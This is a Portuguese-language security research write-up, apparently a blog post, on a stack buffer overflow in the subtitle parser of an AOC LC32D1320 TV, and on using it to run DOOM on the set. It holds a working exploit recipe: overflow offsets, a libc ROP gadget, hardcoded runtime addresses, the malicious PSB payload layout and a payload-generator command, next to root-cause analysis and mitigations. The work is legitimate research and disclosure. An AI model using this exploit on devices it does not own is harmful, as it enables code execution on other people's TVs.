Free Palestine

AOC LC32D1320 — Stack Overflow no Parser PSB + Port do DOOM

  • Plataforma: MIPS32 Big-Endian / uClibc 0.9.29
  • Kernel: Linux 2.6.18_pro500.default (2010)
  • Vetor: Arquivo de legenda .PSB malicioso via USB
  • Impacto: ACE confirmada + DOOM rodando na TV em hardware real
  • Data: Abril 2026 | Pesquisador: teogabriel

  1. Sumário Executivo

Esta pesquisa documenta a descoberta, exploração e pós-exploração de uma vulnerabilidade de stack-based buffer overflow no parser de legenda PSB da TV AOC LC32D1320. O parser vulnerável reside em libGenSub.so, dentro do processo plfApp, e é ativado automaticamente pelo Media Center ao enumerar arquivos de legenda em um pendrive USB.

A cadeia completa foi confirmada em hardware real e compreende três fases: (1) stack overflow via arquivo PSB malicioso resultando em ACE, (2) execução de diagnósticos nativos MIPS para mapear o hardware gráfico e de input, e (3) port funcional do DOOM rodando diretamente no framebuffer da TV com controles pelos botões físicos do painel.

CampoValor
Produto afetadoAOC LC32D1320 (TV 32")
FirmwareV2.05 (uClibc 0.9.29, kernel Linux 2.6.18)
ArquiteturaMIPS32 Big-Endian
Componente vulnlibGenSub.sogensub_ParsePsb @ ELF 0x20e24
Tipo de vulnStack-Based Buffer Overflow (strcpy sem checagem)
VetorArquivo .PSB malicioso em pendrive USB
ImpactoACE: execução de system(cmd) no processo plfApp
Pré-requisitoAcesso físico para inserir pendrive
Proteções ausentesSem ASLR, sem NX, sem RELRO, sem stack canaries
ACE confirmadaSIMace_psb.log criado em hardware real (PSB51)
DOOM confirmadoSIM — render na TV com input pelos botões físicos
SDK resultantelibaoc (SDK C estático reutilizável para o firmware)

  1. Ambiente Alvo

2.1 Hardware e Firmware

A TV AOC LC32D1320 roda um SoC da família Trident com CPU MIPS32 big-endian. O firmware V2.05 usa sistema de arquivos MTD multi-partição. O boot é controlado por scripts shell, com sbtvd.sh como principal para o modo SBTVD.

O kernel embutido, Linux 2.6.18_pro500.default de 2010, não implementa nenhuma proteção moderna contra exploração de memória.

2.2 Proteções de Memória Ausentes

  • PT_GNU_STACK ausente: stack executável em todos os binários relevantes
  • PT_GNU_RELRO ausente: GOT completamente modificável após carga
  • ASLR não ativo: bases dos DSOs idênticas entre boots (confirmado em múltiplos cores)
  • Stack canaries: não detectados

O script common.sh configura o sistema para coredumps em USB no boot:

mount /dev/sda /etc/core
echo '/etc/core/core.%e.%p.%s' > /proc/sys/kernel/core_pattern
ulimit -c unlimited

2.3 Arquitetura de Processos do Media Center

O parser PSB roda em plfApp (não em mmApp), comunicando via IPC FusionDale:

mmApp -> libtplftmplayerClient.so
    |  IPC/FusionDale (opcode 0x1037)
plfApp -> libtplftmplayerSupply.so -> libtapi.so -> libGenSub.so

  1. Análise da Vulnerabilidade

3.1 Caminho de Código Vulnerável

APP_MediaSub_GetSubtitle()                  [mmApp]
  -> Tplf_TMP_GenSub_GetSubfileDesc()       [libtplftmplayerClient @ 0x16278]
    -> [IPC FusionDale opcode 0x1037]
      -> int_tapi_TMP_GenSub_GetSubfileDesc  [libtapi @ 0x6981c]
        -> gensub_splitter_init()            [libGenSub @ 0x24a14]
          -> gensub_ParsePsb()               [libGenSub @ 0x20e24]  <- VULNERÁVEL

3.2 O Buffer Overflow

Dentro de gensub_ParsePsb, o texto da legenda é copiado para um buffer de tamanho fixo na stack do caller sem verificação de comprimento:

strcpy(arg2 + 0x11, texto_da_linha)

Uma linha de texto suficientemente longa transborda o buffer e sobrescreve a stack do frame pai (gensub_splitter_init). A geometria exata, confirmada pelos coredumps:

Offset no texto PSBO que é sobrescrito
0x000 - 0x0FFTexto da legenda (payload shell command)
0x100 - 0x103saved $s0 em gensub_ParsePsb
0x104 - 0x107saved $s1 em gensub_ParsePsb
0x108 - 0x10Bsaved $ra em gensub_ParsePsb

3.3 Gadgets ROP e Cadeia de Exploração

O gadget final usado no exploit (PSB51) está na libc e preserva $a0, que o parser já deixa apontando para o início do texto da legenda:

libc + 0x4a780 (runtime: 0x2bbfaa44):
    move $t9, $s1    ; carrega system() em t9
    jalr $t9         ; salta para system()
    nop              ; delay slot MIPS

O payload PSB51 usa implicit a0: o próprio texto da legenda é o comando shell, terminado com # para o shell ignorar os bytes binários dos registradores:

:>/etc/core/ace_psb.log #[padding até 0x104][s0][s1=system()][ra=gadget]

3.4 Confirmação em Hardware — ACE

Configuração dos registradores runtime (bases estáveis entre boots):

libGenSub.so        = 0x2b273000
libc.so.0           = 0x2bbb8000
libc system()       = 0x2bc07240
gadget libc+0x4a780 = 0x2bbfaa44
caller_sp           = 0x7c6e5d40

Resultado do PSB51 em hardware real: arquivo ace_psb.log criado na raiz do pendrive. ACE prática confirmada.


  1. Pós-ACE: Bring-Up de Binários Nativos

Com ACE confirmada, a fase seguinte foi trazer binários nativos MIPS/uClibc para rodar na TV via pendrive USB, como estágio inicial para o port do DOOM.

4.1 Toolchain e Sysroot

Cross-compiler: mips-linux-gnu-gcc. ABI: MIPS32R2, big-endian, o32. Flags principais: -EB -mips32r2 -mabi=32. As bibliotecas do runtime vieram do dump de firmware da TV (mtd5/lib).

Todos os binários nativos usam:

  • -nostartfiles com custom start.S (baseado no __start stock de cfgApp)
  • -fno-stack-protector
  • RUNPATH /usr/lib:/lib
  • Intérprete forçado: /lib/ld-uClibc.so.0

4.2 Progressão de Probes Nativas

A estratégia foi progredir de um binário mínimo (tvprobe) até o DOOM completo, com uma sonda dedicada para cada gargalo:

ProbePropósito e Resultado
tvprobeProva mínima de execução nativa: escreve tvprobe.ok. PASSOU.
logprobeProva de exec direta de /mnt/doom sem staging /tmp. PASSOU.
hidprobeAbre /dev/hidtv2dge, lê FBIOGET_FSCREENINFO, mmap read-only. PASSOU.
hidpaintPinta blocos coloridos em todas as páginas do framebuffer. PASSOU — visível na TV.
pthreaddlprobedlopen(libpthread) + pthread_self via dlsym. PASSOU.
dfbprobeDirectFBInit + DirectFBCreate. FALHOU em pthread_create dentro do DirectFB.
hellofbDirectFBCreate isolado. FALHOU antes do primeiro log — DirectFB runtime não carregou.
doomdiagDirectFB diagnóstico completo. Abandonado em favor do path raw hidtv2dge.

4.3 Descoberta Crítica: Framebuffer Raw Sem DirectFB

A tentativa de usar DirectFB (o stack de compositing do firmware) esbarrou num problema de bootstrap pthread: o processo filho iniciado via system() herda um ambiente de runtime do plfApp incompatível com a inicialização do manager de threads do LinuxThreads. Nenhuma das técnicas tentadas resolveu o pthread_create dentro do espaço de processo do filho:

  • Passar NEEDED libpthread.so.0 no ELF: filho não chegava ao main
  • dlopen(libpthread) + __pthread_initialize_minimal(): pthread_create pendurava sem core
  • __libc_pthread_init(__pthread_functions): ainda pendurava
  • force-slave no DFBARGS: sem efeito
  • sigemptyset + sigprocmask antes do dlopen: sem efeito

O pivot decisivo veio do hidprobe: o dispositivo /dev/hidtv2dge (o framebuffer/OSD plane) é diretamente mapeável via mmap sem nenhuma dependência de DirectFB ou pthread. O hidpaint provou que escrita contínua nesse plane é visível sobre o vídeo do player, sem necessidade de matar o mmApp.

Valores do framebuffer confirmados pelo hidprobe:

id:            HiDTV SVP OSD
resolução:     960 x 540
bpp:           32 (ARGB8888)
stride:        3840 bytes/linha
framebuffer:   0x0e000000, 33554432 bytes (32 MiB)
page_len:      2073600 bytes (1 página = 960×540×4)
páginas mmap:  16

  1. Port do DOOM para a LC32D1320

Com o path gráfico raw confirmado, o port do DOOM (baseado no doomgeneric) foi adaptado para usar /dev/hidtv2dge diretamente, sem DirectFB, sem pthread e sem dependências além de libc.so.0.

5.1 Backend Gráfico

O DG_DrawFrame do port abre /dev/hidtv2dge, lê a geometria via ioctl, mapeia os 32 MiB com PROT_READ|PROT_WRITE, e escala o framebuffer interno do DOOM (320×200) para o plane do OSD (960×540). O alpha é forçado em 0xFF000000 para garantir visibilidade no plano overlay. Todas as páginas completas do mapeamento são pintadas por frame, replicando o comportamento do hidpaint que provou ser visível.

5.2 Problemas Resolvidos Durante o Bring-Up

  • __ctype_toupper_loc: recursão infinita no shim de compatibilidade uClibc. Fix: substituir toupper() por mapeamento ASCII manual.
  • boolean para int cast em STlib: em big-endian MIPS, adjacent boolean bytes geravam índices inválidos. Fix: array auxiliar static int st_weaponowned.
  • TryRunTics pendurava em I_GetTime: o timer embarcado bloqueava antes da primeira frame. Fix: singletics fast path que chama BuildNewTic() diretamente sem ler o timer.
  • D_StartGameLoop pendurava por GetAdjustedTime: mesmo problema do timer. Fix: skip de D_StartGameLoop quando singletics ativo.
  • Wipe path chamava I_GetTime: wipegamestate &excl;= gamestate ativava wipe que usa o timer. Fix: forçar wipegamestate = gamestate quando singletics ativo.

5.3 Backend de Input

O input foi mapeado através da engenharia reversa do módulo DirectFB da TV. O libdirectfb_trid_input.so cria um socket Unix em /tmp/hp_dfb_handler e recebe pacotes de 8 bytes (word 0 = 1, word 1 = key code). O port DOOM cria um socket AF_UNIX/SOCK_DGRAM no mesmo path, desbindando o path anterior para capturar os eventos de input que a TV enviaria para o DirectFB. O fcntl é feito via raw MIPS syscall para evitar incompatibilidade com __fcntl_time64 da TV.

Mapeamento final confirmado por sessão de calibração real na TV:

BotãoCódigo RawAção no DOOM
Vol+0x0000003cFrente (KEY_UPARROW)
Vol-0x0000003dRé (KEY_DOWNARROW)
Menu0x00010319Atirar (KEY_FIRE)
CH+0x00010316Virar Esquerda (KEY_LEFTARROW)
CH-0x00010317Virar Direita (KEY_RIGHTARROW)
Input0x00010318 / 0x3e / 0x100017Usar/Abrir (KEY_USE)

5.4 Resultado Final: DOOM Rodando

O build com wipegamestate=gamestate renderizou DOOM na TV. Comportamento observado:

  • DOOM desenha sobre o vídeo do Media Center no plano OSD
  • Áudio do vídeo do Media Center continua em background (mmApp permanece vivo)
  • DOOM iniciado direto em E1M1 (-warp 1 1) sem menu/demo
  • Sem áudio Doom (launcher usa -nosound -nomusic — áudio nativo da TV não integrado)
  • Frames renderizados confirmados no log: draw frame 1, 2, 3, 4, 5...

  1. libaoc: Mini-SDK Resultante

Após o DOOM funcionar, o código de display/input/log específico da TV foi extraído para um SDK C estático reutilizável chamado libaoc (github.com/teogabrielofc/libaoc), tornando o repositório usável como base para outras apps nativas nesta TV.

6.1 Estrutura do SDK

libaoc/include/aoc/aoc.h      — header público
libaoc/src/aoc_fb.c           — abre /dev/hidtv2dge, lê geometria, mapeia VRAM, apresenta frames XRGB8888
libaoc/src/aoc_input.c        — binda /tmp/hp_dfb_handler, decodifica pacotes remotos, fallback /dev/remote
libaoc/src/aoc_log.c          — logs com fsync opcional
libaoc/src/aoc_runtime.c      — raw MIPS syscalls para ioctl/fcntl, helpers de tempo/sleep
runtime/start.S               — entrypoint MIPS/uClibc
runtime/appinit.c             — _init e _fini no-op
runtime/uclibc_compat.c       — shims de builtins glibc

6.2 Knobs de Runtime

VariávelEfeito
AOC_FB_PAGES=1Pinta uma página por frame (padrão — caminho rápido)
AOC_FB_PAGES=allPinta todas as páginas por frame (seguro, mais lento)
AOC_FB_FULL_REFRESH_EVERY=0Desabilita refreshes periódicos completos
AOC_INPUT_DEBUG=1Reabilita logs raw de input para mapeamento de botões

  1. Launcher Final: PSB60

O payload de lançamento do DOOM consolidado é o PSB60_LAUNCH_DOOM. Ele usa a mesma técnica de ACE do PSB51, com o comando shell sendo o launcher do DOOM:

chmod +x /mnt/doom/launch.sh; /mnt/doom/launch.sh

Constantes do PSB60 (valores confirmados do firmware testado):

libc base:             0x2bbb8000
system():              0x2bc07240
gadget (implicit-a0):  0x2bc02780

Para um firmware diferente, o make_psb.py aceita um coredump e recalcula automaticamente:

python tools/make_psb.py doom-launcher --core path/to/core

O launcher exporta o ambiente necessário e inicia o DOOM:

export AOC_FB_PAGES="${AOC_FB_PAGES:-1}"
export AOC_FB_FULL_REFRESH_EVERY=0
export AOC_INPUT_DEBUG=0
/mnt/doom/doom -iwad /mnt/doom/doom1.wad -nosound -nomusic -warp 1 1

  1. Linha do Tempo Completa da Pesquisa

FaseMarco
RE estáticoAnálise do firmware V2.05, identificação do PSB overflow em libGenSub.so
RE estáticoMapeamento da cadeia IPC FusionDale: mmApp <align class="right"> plfApp </align> libGenSub
RE estáticoGadgets ROP em libGenSub.so e libtapi.so identificados
Stage 1PSB corpus de crash: TV trava conforme esperado
CoredumpSuperfloppy FAT32 + USB no boot → coredump capturado com bases runtime
Stage 2PSB48: controle de $a0 provado (badvaddr=0x41414141)
Stage 2PSB46: abort() no plfApp provado (core com sinal 6)
ACEPSB51: ace_psb.log criado no pendrive. ACE confirmada.
Native binstvprobe.ok: primeiro binário nativo MIPS rodando via PSB
Framebufferhidprobe.ok: /dev/hidtv2dge mapeável sem DirectFB
Framebufferhidpaint visível na TV: plano OSD confirmado
DirectFBdfbprobe: falha em pthread_create dentro de DirectFBCreate
PivotAbandono do DirectFB; port DOOM usa raw /dev/hidtv2dge
DOOMFix ctype recursion, boolean cast, timer hang, wipe path
DOOMDOOM renderizando na TV: draw frame 1, 2, 3, 4, 5...
InputCalibração: Vol+/Vol-/Menu/CH+/CH-/Input mapeados para Doom keys
libaoc SDKCódigo extraído para SDK estático C reutilizável
PSB60Launcher unificado: PSB60_LAUNCH_DOOM com documentação completa

  1. Discussão e Mitigações

9.1 Causa Raiz

Uso de strcpy sem verificação de comprimento para copiar entrada de usuário (arquivo de legenda) para buffer de tamanho fixo na stack. Correção imediata: substituir por strncpy com validação prévia do comprimento da linha.

9.2 Fatores Agravantes

  • ASLR ausente: bases estáveis eliminam necessidade de leak per-boot no stage 2
  • Stack executável: shellcode direto seria possível sem restrição de bad bytes
  • Core dumps habilitados e configurados para USB por padrão: facilita o leak de endereços
  • Kernel de 2010: nenhuma mitigação moderna

9.3 Mitigações

  • Imediato: strncpy + validação de comprimento
  • Médio prazo: recompilar com -fstack-protector-all
  • Longo prazo: kernel com ASLR
  • Operacional: desabilitar core dump para USB em produção

A natureza do produto (TV de 2010 sem suporte ativo) torna improvável qualquer patch. Esta pesquisa é inteiramente educacional, conduzida em hardware próprio.


Pesquisa conduzida em hardware próprio para fins educacionais. | Abril 2026

Publicado em Maio 2026 — algumas informações sobre o libaoc podem estar desatualizadas.

Pub: 2026-07-13 23:36 UTCEdit: 2026-07-13 23:36 UTCViews: 7